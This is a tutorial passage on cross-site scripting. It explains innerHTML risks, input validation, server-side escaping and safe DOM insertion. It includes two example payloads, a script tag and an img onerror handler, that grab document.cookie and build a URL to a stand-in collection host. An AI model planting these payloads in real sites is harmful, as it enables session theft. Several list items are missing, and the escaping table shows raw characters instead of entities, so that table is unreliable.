If you add HTML to a page using innerHTML
(or several jQuery
methods), you need to be aware of Cross-Site Scripting Attacks or XSS, otherwise, an attacker could gain access to your users’ accounts.
XSS involves an attacker placing malicious code into a site. Websites often feature content created by many different people. For example:
XSS can give the attacker access to information in:
This could let the attacker access a user account and:
This first example stores cookie data in a variable, which could then be sent to a third-party server:
<script>
let adr = 'http://example.com/xss.php?cookie=' + escape(document.cookie);
</script>
This code shows how a missing image can be used with an HTML attribute to trigger malicious code:
<img src="http://nofile" onerror="adr='http://example.com/xss.php?'+ encodeURIComponent(document.cookie)">
Example fount in example found in example found in Chapter_05/Externals/xss.html
Validate input going to the server
validation
. Do not allow untrusted users to submit HTML markup or JavaScript (As Front-End part).Escaping data coming from the server & database
Make sure that your users can only input characters they need to use and limit where this content will be shown on the page.
For example, users’ names and email addresses will not contain angled brackets, ampersands, or parentheses, so you can validate data to prevent characters like this being used.
Any content generated by users that contain characters that are used in code should be escaped on the server. You must control any markup added to the page.
All data from untrusted sources should be escaped on the server before it is shown on the page.
| Character | Escaping equivalent |
| ——— | ——————- |
| & | &
|
| < | <
|
| > | >
|
| ` | `
|
| ‘ | '
|
| “ | "
|
| / | /
|
Escaping URLS risky characters
If you have links containing user input (e.g., links to a user profile or search queries), use the JavaScript encodeURIComponent()
method to encode the user input.
, / ? : @ & = + $ #
all those will change to the equivalent ASCII
When you add untrusted content to an HTML page, once it has been escaped on the server, it should still be added to the page as text.
textContent
or innerText
innerHTML
:information_source: jQuery is a fast, small, and feature-rich JavaScript library. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
:information_source: ASCII stands for American Standard Code for Information Interchange.
:information_source: Learn more about XSS